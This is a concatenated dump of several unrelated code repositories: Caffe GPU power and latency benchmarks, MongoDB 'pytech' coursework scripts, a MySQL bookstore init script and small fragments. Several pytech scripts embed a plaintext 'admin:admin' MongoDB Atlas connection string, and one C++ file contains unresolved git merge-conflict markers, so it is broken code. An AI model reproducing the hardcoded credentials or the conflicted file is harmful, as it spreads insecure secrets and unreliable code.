obj/caffe/layers/lrn_layer.o : src/caffe/layers/lrn_layer.cpp include/caffe/layers/lrn_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/lrn_layer.cpp -o $@
obj/caffe/layers/lrn_layer.cu.o : src/caffe/layers/lrn_layer.cu include/caffe/layers/lrn_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/lrn_layer.cu -o $@
obj/caffe/layers/neuron_layer.o : src/caffe/layers/neuron_layer.cpp include/caffe/layers/neuron_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/neuron_layer.cpp -o $@
obj/caffe/layers/power_layer.o : src/caffe/layers/power_layer.cpp include/caffe/layers/power_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/power_layer.cpp -o $@
obj/caffe/layers/power_layer.cu.o : src/caffe/layers/power_layer.cu include/caffe/layers/power_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/power_layer.cu -o $@
obj/caffe/layers/pooling_layer.o : src/caffe/layers/pooling_layer.cpp include/caffe/layers/pooling_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/pooling_layer.cpp -o $@
obj/caffe/layers/pooling_layer.cu.o : src/caffe/layers/pooling_layer.cu include/caffe/layers/pooling_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/pooling_layer.cu -o $@
obj/caffe/layers/relu_layer.o : src/caffe/layers/relu_layer.cpp include/caffe/layers/relu_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/relu_layer.cpp -o $@
obj/caffe/layers/relu_layer.cu.o : src/caffe/layers/relu_layer.cu include/caffe/layers/relu_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/relu_layer.cu -o $@
obj/caffe/layers/sigmoid_layer.o : src/caffe/layers/sigmoid_layer.cpp include/caffe/layers/sigmoid_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/sigmoid_layer.cpp -o $@
obj/caffe/layers/sigmoid_layer.cu.o : src/caffe/layers/sigmoid_layer.cu include/caffe/layers/sigmoid_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/sigmoid_layer.cu -o $@
obj/caffe/layers/softmax_layer.o : src/caffe/layers/softmax_layer.cpp include/caffe/layers/softmax_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/softmax_layer.cpp -o $@
obj/caffe/layers/softmax_layer.cu.o : src/caffe/layers/softmax_layer.cu include/caffe/layers/softmax_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/softmax_layer.cu -o $@
obj/caffe/layers/tanh_layer.o : src/caffe/layers/tanh_layer.cpp include/caffe/layers/tanh_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/tanh_layer.cpp -o $@
obj/caffe/layers/tanh_layer.cu.o : src/caffe/layers/tanh_layer.cu include/caffe/layers/tanh_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/tanh_layer.cu -o $@
obj/caffe/layers/split_layer.o : src/caffe/layers/split_layer.cpp include/caffe/layers/split_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/split_layer.cpp -o $@
obj/caffe/layers/split_layer.cu.o : src/caffe/layers/split_layer.cu include/caffe/layers/split_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/split_layer.cu -o $@
obj/caffe/layers/memory_data_layer.cu.o : src/caffe/layers/memory_data_layer.cu include/caffe/layers/memory_data_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/memory_data_layer.cu -o $@
obj/caffe/layers/inner_product_layer.o : src/caffe/layers/inner_product_layer.cpp include/caffe/layers/inner_product_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/inner_product_layer.cpp -o $@
obj/caffe/layers/inner_product_layer.cu.o : src/caffe/layers/inner_product_layer.cu include/caffe/layers/inner_product_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/inner_product_layer.cu -o $@
obj/caffe/layers/base_data_layer.o : src/caffe/layers/base_data_layer.cpp include/caffe/layers/base_data_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/base_data_layer.cpp -o $@
obj/caffe/layers/base_data_layer.cu.o : src/caffe/layers/base_data_layer.cu include/caffe/layers/base_data_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/base_data_layer.cu -o $@
obj/caffe/data_transformer.o : src/caffe/data_transformer.cpp include/caffe/data_transformer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/data_transformer.cpp -o $@
obj/caffe/internal_thread.o : src/caffe/data_transformer.cpp include/caffe/internal_thread.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/internal_thread.cpp -o $@
obj/caffe/net.o : src/caffe/net.cpp include/caffe/net.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/net.cpp -o $@
obj/test.cu.o : src/test.cu include/test.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/test.cu -o $@
.PHONY: clean
clean:
rm -rf $(BIN) $(BUILD_DIR)
<file_sep>/power_test/script/lancher.sh
#!/usr/bin/env bash
if [ $# -ge '3' ]; then
MYDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
PREFIX=$MYDIR/../..
BINDIR=$PREFIX/conv_test
DATADIR=$PREFIX/tb/$1
ORIGINAL_CAFFE_LIB=/usr/lib
MODIFIED_CAFFE_LIB=$PREFIX/caffe/.build_release/lib
if [ $3 -le '0' ]; then
export LD_LIBRARY_PATH=$ORIGINAL_CAFFE_LIB
if [ -e $DATADIR/deploy.prototxt ]; then
cp -f $DATADIR/deploy.prototxt $DATADIR/net.prototxt
else
exit -1
fi
else
export LD_LIBRARY_PATH=$MODIFIED_CAFFE_LIB
if [ -e $DATADIR/deploy.prototxt ]; then
cp -f $DATADIR/deploy.prototxt $DATADIR/net.prototxt
else
exit -1
fi
sed -i 's/convolution_param\s*{/convolution_param {\n\tset: '$3'/g' $DATADIR/net.prototxt
fi
echo $LD_LIBRARY_PATH
$BINDIR/test $2 $DATADIR/net.prototxt $DATADIR/net.caffemodel $DATADIR/test.png
fi
<file_sep>/conv_test/Makefile
CXX = g++
I_DIR = ../caffe/include /opt/cuda/include ../caffe/.build_release/src
L_DIR = ../caffe/.build_release/lib /opt/cuda/lib64
CXXFLAGS = $(patsubst %, -I%, $(I_DIR))
LIBS = $(patsubst %, -L%, $(L_DIR)) -lcaffe -lcudart -lcublas -lcurand -lglog -lgflags -lprotobuf -lboost_system -lboost_filesystem -lm -lhdf5_hl -lhdf5 -lboost_thread -lstdc++ -lopenblas `pkg-config --cflags --libs opencv`
BIN = test
SRC = test.cpp
$(BIN): $(SRC) ../caffe/.build_release/lib/libcaffe.so
$(CXX) $(CXXFLAGS) $(LIBS) $(SRC) -o $@
.PHONY: clean
clean:
rm -rf $(BIN)
<file_sep>/power_test/Makefile
power_test: src/power_test.c
gcc -o $@ $<
.PHONY: clean
clean:
rm -rf power_test data
<file_sep>/conv_test/test.cpp
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <caffe/caffe.hpp>
#include <caffe/layers/memory_data_layer.hpp>
using namespace caffe;
using namespace std;
using namespace cv;
<<<<<<< HEAD
int main(int argc, char* argv[]) {
if (argc < 5) {
LOG(ERROR) << "./test channels net_proto caffe_model test_image";
return 1;
}
Caffe::set_mode(Caffe::GPU);
Mat image;
if(strncmp(argv[1],"1", 1)==0){
image=imread(argv[4], CV_LOAD_IMAGE_GRAYSCALE);
}else if(strncmp(argv[1],"3", 1)==0){
image=imread(argv[4]);
}else{
LOG(ERROR) << "image channel "<<argv[1]<<" is not correct!";
return -1;
}
image/=255.0;
Net<float> caffe_test_net(argv[2], TEST);
caffe_test_net.CopyTrainedLayersFrom(argv[3]);
vector<cv::Mat> dv;
dv.push_back(image);
vector<int> dvl;
dvl.push_back(0);
boost::dynamic_pointer_cast<MemoryDataLayer<float> >(caffe_test_net.layers()[0])->AddMatVector(dv,dvl);
vector<Blob<float>* > result;
clock_t tStart = clock();
for(int w=0;w<100;w++){
result = caffe_test_net.Forward();
=======
int main(int argc, char** argv) {
if (argc < 4) {
LOG(ERROR) << "test_net net_proto pretrained_net_proto image ";
return 1;
}
Caffe::set_mode(Caffe::GPU);
Mat image;
// transpose(imread(argv[3], CV_LOAD_IMAGE_GRAYSCALE), image) ; // Read the file
// image=imread(argv[3], CV_LOAD_IMAGE_GRAYSCALE);
image=imread(argv[3]);
image/=255.0;
//get the net
Net<float> caffe_test_net(argv[1], TEST);
//get trained net
caffe_test_net.CopyTrainedLayersFrom(argv[2]);
float loss = 0.0;
vector<cv::Mat> dv;
dv.push_back(image); // image is a cv::Mat, as I'm using #1416
vector<int> dvl;
dvl.push_back(0);
boost::dynamic_pointer_cast<MemoryDataLayer<float> >(caffe_test_net.layers()[0])->AddMatVector(dv,dvl);
vector<Blob<float>* > result;
clock_t tStart = clock();
for(int w=0;w<100;w++){
result = caffe_test_net.Forward(&loss);
>>>>>>> parent of 5a923c9... add power test program
}
printf("Time taken: %.2f ms\n", (double)(clock() - tStart)*1000/CLOCKS_PER_SEC);
return 0;
}
<file_sep>/single_conv_test/test.cpp
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <caffe/caffe.hpp>
#include <caffe/layers/memory_data_layer.hpp>
#include <time.h>
#include <boost/format.hpp>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdlib.h>
#include <limits.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/stat.h>
using namespace caffe;
using namespace std;
using namespace cv;
#define INPUT_CHANNEL_NUM 7
#define INPUT_SIZE_NUM 6
#define OUTPUT_CHANNEL_NUM 7
#define KERNEL_SIZE_NUM 5
#define SET_NUM 7
int INPUT_CHANNEL_TABLE[INPUT_CHANNEL_NUM] = {3, 10, 50, 100, 200, 500, 1000};
int INPUT_SIZE_TABLE[INPUT_SIZE_NUM] = {32, 64, 128, 256, 512, 1024};
int OUTPUT_CHANNEL_TABLE[OUTPUT_CHANNEL_NUM] = {1, 10, 50, 100, 200, 500, 1000};
int KERNEL_SIZE_TABLE[KERNEL_SIZE_NUM] = {2, 3, 4, 5, 8};
int SET_TABLE[SET_NUM] = {0, 1, 2, 4, 8, 16, 32};
int main(int argc, char* argv[]) {
Caffe::set_mode(Caffe::GPU);
unlink("time.log");
ofstream logfile;
// CREATE DATA PATH
char PREFIX[1024]={0};
pid_t pid;
ssize_t count = readlink("/proc/self/exe", PREFIX, 1024);
int i;
for(i=strlen(PREFIX); i>0; i--)
{
if(PREFIX[i]=='/')
{
PREFIX[i]='\0';
break;
}
}
char DATAPATH[1024];
snprintf(DATAPATH, sizeof(DATAPATH), "%s/data", PREFIX);
mkdir(DATAPATH, 0755);
// PRE MEASURE IDLE STATE
pid = fork();
if(pid==0)
{
// Child: measure the power
//nvidia-smi -i 0 -q -d POWER,PERFORMANCE,MEMORY -l 1 &> $LOGDIR/$1
char path[1024]={0};
snprintf(path, 1024, "%s/data/0-normal-0.log", PREFIX);
char* child_argv[]={"/usr/bin/nvidia-smi", "-i", "0", "--format=csv,noheader,nounits", "--query-gpu=pstate,memory.used,power.draw", "-lms", "2", "-f", path, NULL};
execv("/usr/bin/nvidia-smi", child_argv);
exit(127);
}
else if(pid>0)
{
// Parent: run program
sleep(5);
kill(pid, SIGKILL);
int status;
waitpid(pid, &status, 0);
}
else
{
// Error
printf("ERROR !!!\n");
return pid;
}
for(int input_channel=0; input_channel<INPUT_CHANNEL_NUM; input_channel++){
for(int input_size=0; input_size<INPUT_SIZE_NUM; input_size++){
for(int output_channel=0; output_channel<OUTPUT_CHANNEL_NUM; output_channel++){
for(int kernel_size=0; kernel_size<KERNEL_SIZE_NUM; kernel_size++){
for(int set=0; set < SET_NUM; set++){
if(INPUT_SIZE_TABLE[input_size]>256 and INPUT_CHANNEL_TABLE[input_channel] > 100)
continue;
int LOOP_TIMES;
if(INPUT_SIZE_TABLE[input_size]>512)
LOOP_TIMES = 1;
else if(INPUT_SIZE_TABLE[input_size]>64)
LOOP_TIMES = 10;
else
LOOP_TIMES = 100;
sleep(10);
printf("TEST [input_channel=%d, input_size=%d, output_channel=%d, kernel_size=%d, set=%d]\n", INPUT_CHANNEL_TABLE[input_channel], INPUT_SIZE_TABLE[input_size], OUTPUT_CHANNEL_TABLE[output_channel], KERNEL_SIZE_TABLE[kernel_size], SET_TABLE[set]);
pid = fork();
if(pid==0)
{
// Child: measure the power
//nvidia-smi -i 0 --format=csv,noheader --query-gpu=timestamp,pstate,memory.used,power.draw -lms 2
char path[1024]={0};
snprintf(path, 1024, "%s/data/1-%d-%d-%d-%d-%d.log", PREFIX, INPUT_CHANNEL_TABLE[input_channel], INPUT_SIZE_TABLE[input_size], OUTPUT_CHANNEL_TABLE[output_channel], KERNEL_SIZE_TABLE[kernel_size], SET_TABLE[set], NULL);
char* child_argv[]={"/usr/bin/nvidia-smi", "-i", "0", "--format=csv,noheader,nounits", "--query-gpu=pstate,memory.used,power.draw", "-lms", "2", "-f", path, NULL};
execv("/usr/bin/nvidia-smi", child_argv);
exit(127);
}
else if(pid>0)
{
// Parent: run program
sleep(2);
logfile.open("time.log", std::ofstream::out | std::ofstream::app);
// CREATE THE PROTOTXT
ifstream ifs("template.prototxt");
string format=string((std::istreambuf_iterator<char>(ifs)),
(std::istreambuf_iterator<char>()));
ifs.close();
ofstream ofs("net.prototxt");
ofs << boost::format(format) % INPUT_CHANNEL_TABLE[input_channel] % INPUT_SIZE_TABLE[input_size] % INPUT_SIZE_TABLE[input_size] % SET_TABLE[set] % OUTPUT_CHANNEL_TABLE[output_channel] % KERNEL_SIZE_TABLE[kernel_size];
ofs.close();
// CREATE THE INPUT IMAGE
Mat I(INPUT_CHANNEL_TABLE[input_channel], INPUT_SIZE_TABLE[input_size]*INPUT_SIZE_TABLE[input_size], DataType<unsigned char>::type);
theRNG().state = time(NULL);
theRNG().fill(I, RNG::UNIFORM, 0, 255);
I=I.reshape(INPUT_CHANNEL_TABLE[input_channel], INPUT_SIZE_TABLE[input_size]);
// CREATE THE NET
Net<float> caffe_test_net("net.prototxt", TEST);
// FEED THE INPUT LAYER WITH INPUT IMAGE
vector<cv::Mat> dv;
dv.push_back(I);
vector<int> dvl;
dvl.push_back(0);
boost::dynamic_pointer_cast<MemoryDataLayer<float> >(caffe_test_net.layers()[0])->AddMatVector(dv,dvl);
// FORWARD 100 TIMES
vector<Blob<float>* > result;
clock_t tStart = clock();
for(int i=0; i<LOOP_TIMES; i++){
result = caffe_test_net.Forward();
}
logfile << boost::format("[input_channel=%d, input_size=%d, output_channel=%d, kernel_size=%d, set=%d] : %.2lf\n") % INPUT_CHANNEL_TABLE[input_channel] % INPUT_SIZE_TABLE[input_size] % OUTPUT_CHANNEL_TABLE[output_channel] % KERNEL_SIZE_TABLE[kernel_size] % SET_TABLE[set] % double((clock() - tStart)/(CLOCKS_PER_SEC*0.001));
logfile.close();
kill(pid, SIGKILL);
int status;
waitpid(pid, &status, 0);
}
else
{
// Error
printf("ERROR !!!\n");
return pid;
}
}
}
}
}
}
// POST MEASURE STATE
pid = fork();
if(pid==0)
{
// Child: measure the power
char path[1024]={0};
snprintf(path, 1024, "%s/data/0-normal-1.log", PREFIX);
char* child_argv[]={"/usr/bin/nvidia-smi", "-i", "0", "--format=csv,noheader,nounits", "--query-gpu=pstate,memory.used,power.draw", "-lms", "2", "-f", path, NULL};
execv("/usr/bin/nvidia-smi", child_argv);
exit(127);
}
else if(pid>0)
{
// Parent: run program
sleep(5);
kill(pid, SIGKILL);
int status;
waitpid(pid, &status, 0);
}
else
{
// Error
printf("ERROR !!!\n");
return pid;
}
return 0;
}
<file_sep>/gnng.20160512/README.md
GNNG IS A PROGRAM TO MAP A NEURAL NETWORK TRAINED BY CAFFE TO MULTI-GPU SYSTEM.
IT FOCUSES ON REDUCING THE LATENCY OF A SINGLE FORWARD PROCESS.
THE PROJECT IS ON *EXPERIMENT* PHASE. THE CODE IS *NOT COMPLETE*.
<file_sep>/gnng.20160512/src/test.cpp
#include "test.hpp"
#include "caffe/util/io.hpp"
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include "caffe/common.hpp"
#include "caffe/util/im2col.hpp"
using namespace caffe;
using namespace std;
using namespace cv;
int main(int argc, char** argv) {
if (argc < 4) {
LOG(ERROR) << "test_net net_proto pretrained_net_proto image ";
return 1;
}
/*
float m[10][10];
for (int i=0; i<10; i++)
{
for (int j=0; j<10; j++)
{
m[i][j]=i*10+j+1;
}
}
float n[4][9][9]={0};
float *ptr_m=(float*)m;
float *ptr_n=(float*)n;
int height=10;
int width=10;
int kernel_h=2;
int kernel_w=2;
int pad_h=0;
int pad_w=0;
int stride_h=1;
int stride_w=1;
int dilation_h=1;
int dilation_w=1;
int output_h1 = (height + 2 * pad_h - (dilation_h * (kernel_h - 1) + 1)) / stride_h + 1;
int output_w1 = (width + 2 * pad_w - (dilation_w * (kernel_w - 1) + 1)) / stride_w + 1;
cout << output_h1 << ", " << output_w1 << endl;
im2col_cpu(ptr_m, 1, height, width, kernel_h, kernel_w, pad_h, pad_w, stride_h, stride_w, dilation_h, dilation_w, ptr_n);
cout << output_h1 << ", " << output_w1 << endl;
for (int x=0; x<output_h1; x++)
{
for (int y=0; y<output_w1; y++)
{
cout << n[1][x][y] << ", ";
}
cout << endl;
}
*/
Caffe::set_mode(Caffe::GPU);
Mat image;
// transpose(imread(argv[3], CV_LOAD_IMAGE_GRAYSCALE), image) ; // Read the file
image=imread(argv[3], CV_LOAD_IMAGE_GRAYSCALE);
image/=255.0;
//get the net
Net<float> caffe_test_net(argv[1], TEST);
//get trained net
caffe_test_net.CopyTrainedLayersFrom(argv[2]);
float loss = 0.0;
vector<cv::Mat> dv;
dv.push_back(image); // image is a cv::Mat, as I'm using #1416
vector<int> dvl;
dvl.push_back(0);
boost::dynamic_pointer_cast<MemoryDataLayer<float> >(caffe_test_net.layers()[0])->AddMatVector(dv,dvl);
clock_t tStart = clock();
vector<Blob<float>* > result = caffe_test_net.Forward(&loss);
printf("Time taken: %.2f ms\n", (double)(clock() - tStart)*1000/CLOCKS_PER_SEC);
//Here I can use the argmax layer, but for now I do a simple for :)
float max = 0;
float max_i = 0;
for(int i=0; i<result.size(); i++){
LOG(INFO) << "SIZE"<<i<<" : " << result[i]->shape_string();
}
for (int i = 0; i < 10; ++i) {
float value = result[2]->cpu_data()[i];
LOG(INFO) << "["<<i<<"] : " << result[2]->cpu_data()[i] << ", " << result[3]->cpu_data()[i];
if (max < value){
max = value;
max_i = i;
}
}
LOG(INFO) << "max: " << max << " i " << max_i;
return 0;
}
|
ee9f732cd3615ba495aa1c2c813f9195f735c823
|
[
"Markdown",
"Makefile",
"C",
"C++",
"Shell"
] | 14
|
C++
|
herenvarno/gnng
|
cb711edee260504292c12175c6e29d75da906854
|
30feb19b3f563ff151abeea0defaf8b98829c19b
|
refs/heads/master
|
<repo_name>1998code/StatusPage-Theme<file_sep>/README.md
# StatusPage-Theme
A Modern Status Page Theme.


<file_sep>/assets/js/script.min.js
$(document).ready((function(){AOS.init({disable:"mobile"})}));
|
7d1d60d2f5a159b170829f38cdb2edcde54d5121
|
[
"Markdown",
"JavaScript"
] | 2
|
Markdown
|
1998code/StatusPage-Theme
|
420e4eb642480a2fa23afbeefa2afc6110392e68
|
2b7f85b9d22e53afa2539c2fc7c4a0d32e924c97
|
refs/heads/main
|
<file_sep># csd-310
Tony
<file_sep>"""
mongodb_test.py test code
<NAME>
10 April 2021
Test program for connecting to a MongoDB Atlas cluster
"""
# https://github.com/AnthonyNebel/csd-310.git
from pymongo import MongoClient
url = "mongodb+srv://admin:admin@cluster0.djd2z.mongodb.net/pytech?retryWrites=true&w=majority"
client = MongoClient(url)
db = client.pytech
print("\n -- Pytech COllection List --")
print(db.list_collection_names())
input("\n\n End of program, press any key to exit... ")<file_sep>"""
Pytech: Collection Queries. pytech_insert.py program
<NAME>
10 April 2021
Program that queries the student collection and displays record 1008
"""
# https://github.com/AnthonyNebel/csd-310.git
from pymongo import MongoClient
url = "mongodb+srv://admin:admin@cluster0.djd2z.mongodb.net/pytech?retry\
Writes=true&w=majority"
client = MongoClient(url)
db = client.pytech
students = db.students
student_list = students.find({})
print("\n -- DISPLAYING STUDENTS DOCUMENTS FROM find() QUERY --")
for doc in student_list:
print(" Student ID: " + doc["student_id"] + "\n First Name: " + doc["first_name"] + "\n Last Name: " + doc["last_name"] + "\n")
lindsay = students.find_one({"student_id": "1008"})
print("\n -- DISPLAYING STUDENT DOCUMENT FROM find_one() QUERY --")
print(" Student ID: " + lindsay["student_id"] + "\n First Name: " + lindsay["first_name"] + "\n Last Name: " + lindsay["last_name"] + "\n")
input("\n\n End of program, press any key to continue...")<file_sep>"""
Pytech: Updating Documents. pytech_update.py program
<NAME>
12 April 2021
Module 6.2
Program that updates the pytech students collection
"""
# https://github.com/AnthonyNebel/csd-310.git
from pymongo import MongoClient
url = "mongodb+srv://admin:admin@cluster0.djd2z.mongodb.net/pytech?retry\
Writes=true&w=majority"
client = MongoClient(url)
db = client.pytech
students = db.students
student_list = students.find({})
print("\n -- DISPLAYING STUDENTS DOCUMENTS FROM find() QUERY --")
result = students.update_one({"student_id": "1007"}, {"$set":\
{"last_name": "Harrinton"}})
for doc in student_list:
print(" Student ID: " + doc["student_id"] + "\n First Name: " +\
doc["first_name"] + "\n Last Name: " + doc["last_name"] + "\n")
tony = students.find_one({"student_id": "1007"})
print("\n -- DISPLAYING STUDENT DOCUMENT 1007 --")
print(" Student ID: " + tony["student_id"] + "\n First Name: " +\
tony["first_name"] + "\n Last Name: " + tony["last_name"] + "\n")
input("\n\n End of program, press any key to continue...")<file_sep>/*
<NAME>
10 May 2021
Module 12
What A Book Init Script
*/
/*
NOTE: Use these scripts if you need before running the scripts below
-- use this if the whatabook db doesnt exist
CREATE DATABASE whatabook;
-- you must use the DB before running any of the below scripts
USE whatabook;
*/
CREATE DATABASE IF NOT EXISTS whatabook;
USE whatabook;
DROP USER IF EXISTS 'whatabook_user'@'localhost';
CREATE USER 'whatabook_user'@'localhost' IDENTIFIED WITH mysql_native_password BY '<PASSWORD>!';
GRANT ALL PRIVILEGES ON whatabook.* TO 'whatabook_user'@'localhost';
-- ALTER TABLE wishlist DROP FOREIGN KEY fk_book;
-- ALTER TABLE wishlist DROP FOREIGN KEY fk_user;
DROP TABLE IF EXISTS store;
DROP TABLE IF EXISTS book;
DROP TABLE IF EXISTS wishlist;
DROP TABLE IF EXISTS user;
CREATE TABLE store (
store_id INT NOT NULL AUTO_INCREMENT,
locale VARCHAR(500) NOT NULL,
PRIMARY KEY(store_id));
CREATE TABLE book (
book_id INT NOT NULL AUTO_INCREMENT,
book_name VARCHAR(200) NOT NULL,
author VARCHAR(200) NOT NULL,
details VARCHAR(500),
PRIMARY KEY(book_id));
CREATE TABLE user (
user_id INT NOT NULL AUTO_INCREMENT,
first_name VARCHAR(75) NOT NULL,
last_name VARCHAR(75) NOT NULL,
PRIMARY KEY(user_id));
CREATE TABLE wishlist (
wishlist_id INT NOT NULL AUTO_INCREMENT,
user_id INT NOT NULL,
book_id INT NOT NULL,
PRIMARY KEY(wishlist_id),
CONSTRAINT fk_book FOREIGN KEY (book_id) REFERENCES book(book_id),
CONSTRAINT fk_user FOREIGN KEY (user_id) REFERENCES user(user_id));
-- Book records
INSERT INTO book (book_name, author, details)
VALUES ('The Return of the King', '<NAME>', 'The third part of the Lord of the Rings');
INSERT INTO book (book_name, author, details)
VALUES ('The Fellowship of the Ring', '<NAME>', 'The first part of the Lord of the Rings');
INSERT INTO book (book_name, author, details)
VALUES ('The Two Towers', '<NAME>', 'The second part of the Lord of the Rings');
INSERT INTO book (book_name, author)
VALUES ('The Hobbit or There and Back Again', '<NAME>');
INSERT INTO book (book_name, author)
VALUES ('Dune: Deluxe Edition', '<NAME>');
INSERT INTO book (book_name, author)
VALUES ("Charlotte's Web", '<NAME>');
INSERT INTO book (book_name, author)
VALUES ('The Great Gatsby', '<NAME>');
INSERT INTO book (book_name, author)
VALUES ('The Lion, the Witch, and the Wardrobe', '<NAME>');
INSERT INTO book (book_name, author)
VALUES ('The Catcher and the Rye', '<NAME>');
-- User Records
INSERT INTO user (first_name, last_name)
VALUES ('Thorin', 'Oakenshield');
INSERT INTO user (first_name, last_name)
VALUES ('Bilbo', 'Baggins');
INSERT INTO user (first_name, last_name)
VALUES ('Frodo', 'Baggins');
-- Wishlist Records
INSERT INTO wishlist (user_id, book_id)
VALUES ((SELECT user_id FROM user WHERE first_name = 'Thorin'),
(SELECT book_id FROM book WHERE book_name = 'The Hobbit or There and Back Again'));
INSERT INTO wishlist (user_id, book_id)
VALUES ((SELECT user_id FROM user WHERE first_name = 'Bilbo'),
(SELECT book_id FROM book WHERE book_name = 'The Fellowship of the Ring'));
INSERT INTO wishlist (user_id, book_id)
VALUES ((SELECT user_id FROM user WHERE first_name = 'Frodo'),
(SELECT book_id FROM book WHERE book_name = 'The Return of the King'));
-- Store Record
INSERT INTO store (locale) VALUES ('1000 Galvin Rd S, Bellevue, NE, 68005, Mon-Fri: 8am-7pm Sat: 9am-4pm');
<file_sep>"""
Pytech: Deleting Documents. pytech_update.py program
<NAME>
12 April 2021
Module 6.3
Program that adds and deletes a record in students
"""
# https://github.com/AnthonyNebel/csd-310.git
from pymongo import MongoClient
url = "mongodb+srv://admin:<EMAIL>@cluster0.djd2z.mongodb.net/pytech?retry\
Writes=true&w=majority"
client = MongoClient(url)
db = client.pytech
students = db.students
student_list = students.find({})
print("\n -- DISPLAYING STUDENTS DOCUMENTS FROM find() QUERY --")
# loop over the collection and output the results
for doc in student_list:
print(" Student ID: " + doc["student_id"] + "\n First Name: " +\
doc["first_name"] + "\n Last Name: " + doc["last_name"] + "\n")
kenzie = {
"student_id": "1010",
"first_name": "Kenzie",
"last_name": "Nebel"
}
kenzie_id = students.insert_one(kenzie).inserted_id
print("\n -- INSERT STATEMENTS --")
print(" Inserted student record into the students collection with\
document_id " + str(kenzie_id))
student_kenzie = students.find_one({"student_id": "1010"})
print("\n -- DISPLAYING STUDENT TEST DOC -- ")
print(" Student ID: " + student_kenzie["student_id"] + "\n First Name: " +\
student_kenzie["first_name"] + "\n Last Name: " +\
student_kenzie["last_name"] + "\n")
deleted_student_kenzie = students.delete_one({"student_id": "1010"})
new_student_list = students.find({})
print("\n -- DISPLAYING STUDENTS DOCUMENTS FROM find() QUERY --")
for doc in new_student_list:
print(" Student ID: " + doc["student_id"] + "\n First Name: " +\
doc["first_name"] + "\n Last Name: " + doc["last_name"] + "\n")
input("\n\n End of program, press any key to continue...")<file_sep>"""
Pytech: Collection Queries. pytech_insert.py program
<NAME>
10 April 2021
Program that inserts student records into the pytech students collection
"""
# https://github.com/AnthonyNebel/csd-310.git
from pymongo import MongoClient
url = "mongodb+srv://admin:admin@cluster0.djd2z.mongodb.net/pytech?retry\
Writes=true&w=majority"
client = MongoClient(url)
db = client.pytech
tony = {
"student_id": "1007",
"first_name": "Tony",
"last_name": "Nebel",
"enrollments": [
{
"term": "spring",
"gpa": "4.0",
"start_date": "March 15, 2021",
"end_date": "May 16, 2021",
"courses": [
{
"course_id": "CSD310",
"description": "Database Development and Use",
"instructor": "Soriano",
"grade": "4.0"
},
{
"course_id": "CSD320",
"description": "Programming with Java",
"instructor": "Payne",
"grade": "4.0"
}
]
}
]
}
lindsay = {
"student_id": "1008",
"first_name": "Lindsay",
"last_name": "Nebel",
"enrollments": [
{
"term": "spring",
"gpa": "3.9",
"start_date": "March 15, 2021",
"end_date": "May 16, 2021",
"courses": [
{
"course_id": "CSD310",
"description": "Database Development and Use",
"instructor": "Soriano",
"grade": "3.8"
},
{
"course_id": "CSD320",
"description": "Programming with Java",
"instructor": "Payne",
"grade": "4.0"
}
]
}
]
}
alex = {
"student_id": "1009",
"first_name": "Alex",
"last_name": "Nebel",
"enrollments": [
{
"term": "spring",
"gpa": "3.2",
"start_date": "March 15, 2021",
"end_date": "May 16, 2021",
"courses": [
{
"course_id": "CSD310",
"description": "Database Development and Use",
"instructor": "Soriano",
"grade": "3.3"
},
{
"course_id": "CSD 320",
"description": "Programming with Java",
"instructor": "Payne",
"grade": "3.1"
}
]
}
]
}
students = db.students
print("\n -- INSERT STATEMENTS --")
tony_student_id = students.insert_one(tony).inserted_id
print(" Inserted student record <NAME> into the students collection with document_id " + str(tony_student_id))
lindsay_student_id = students.insert_one(lindsay).inserted_id
print(" Inserted student record <NAME> into the students collection with document_id " + str(lindsay_student_id))
alex_student_id = students.insert_one(alex).inserted_id
print(" Inserted student record <NAME> into the students collection with document_id " + str(alex_student_id))
input("\n\n End of program, press any key to exit... ")
|
ceb4cd877e9723fb299b93d439f9a59cfed1fb85
|
[
"Markdown",
"SQL",
"Python"
] | 7
|
Markdown
|
AnthonyNebel/csd-310
|
67598e8230be277fefb63c95bd312283024e0203
|
329163b81168657afd827e7b4d1d40be3e3a387a
|
refs/heads/master
|
<file_sep># Задание
# * Создайте список словарей:
